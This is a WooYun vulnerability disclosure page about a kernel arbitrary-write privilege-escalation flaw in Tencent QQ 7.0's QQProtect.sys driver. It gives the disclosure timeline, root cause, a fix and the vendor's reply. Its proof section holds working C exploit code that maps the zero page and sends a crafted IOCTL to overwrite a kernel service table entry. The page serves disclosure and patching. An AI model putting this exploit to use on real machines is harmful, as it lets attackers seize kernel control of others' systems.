当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104000

漏洞标题:QQ7.0驱动一处内核任意地址写提权漏洞

相关厂商:腾讯

漏洞作者: 路人甲

提交时间:2015-03-30 10:19

修复时间:2015-06-28 11:14

公开时间:2015-06-28 11:14

漏洞类型:权限提升

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-03-30: 厂商已经确认,细节仅向厂商公开
2015-04-02: 细节向第三方安全合作伙伴开放
2015-05-24: 细节向核心白帽子及相关领域专家公开
2015-06-03: 细节向普通白帽子公开
2015-06-13: 细节向实习白帽子公开
2015-06-28: 细节向公众公开

简要描述:

QQProtect.sys在对IoControlCode=22246c时,逻辑处理不严谨,可引起对内核任意地址写入数据,控制后可实现内核提权。

详细说明:

QQProtect.sys版本:2.10.7.3
IoControlCode=22246c时,未对outputBuffer的地址有效性进行验证,可导致任意内核地址被写入0,只要事先在0地址分配可执行内存,写入任意代码,均能在内核态执行。
问题原因所在:

根源.jpg

漏洞证明:

void Fuzz2(HANDLE hDev)
{
typedef LONG (WINAPI* NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
NtAllocateVirtualMemory fnAllocate =
(NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtAllocateVirtualMemory");
if(fnAllocate)
{
PBYTE pBase = (PBYTE)0x7;
SIZE_T len = 0x1000;
LONG lSucceed = fnAllocate(GetCurrentProcess(), (PVOID*)&pBase, 0, &len, 0x3000, PAGE_EXECUTE_READWRITE);
}
memcpy(0, "\xcc\xcc", 2);
DWORD dwReturned = 0;
char input[0x1000] = { 0 };
char output[4] = { 0 };
DWORD d = 0x2238f5c9;
memcpy(input+4, &d, 4);
d = 0x0e;
memcpy(input+8, &d, 4);
DeviceIoControl(hDev,
0x22246c,
(LPVOID)input,
100,
(LPVOID)0x80502ce4,// nt!KiServiceTable+0x64
0,
&dwReturned,
NULL);
}
void Fuzz1()
{
LPCTSTR DevName = _T("\\.\QQProtect");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if( (HANDLE)-1 != hDev)
{
Fuzz2(hDev);
CloseHandle(hDev);
}
}


漏洞利用后:

exploit1.jpg


exploit2.jpg

修复方案:

对用户传入的输入输出参数进行地址有效性验证。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-03-30 11:13

厂商回复:

已在乌云上报过,但鉴于现在处于漏洞修复期,因此给低1,后续也请乌云官方加强审核,避免重复提交漏洞,谢谢。

最新状态:

暂无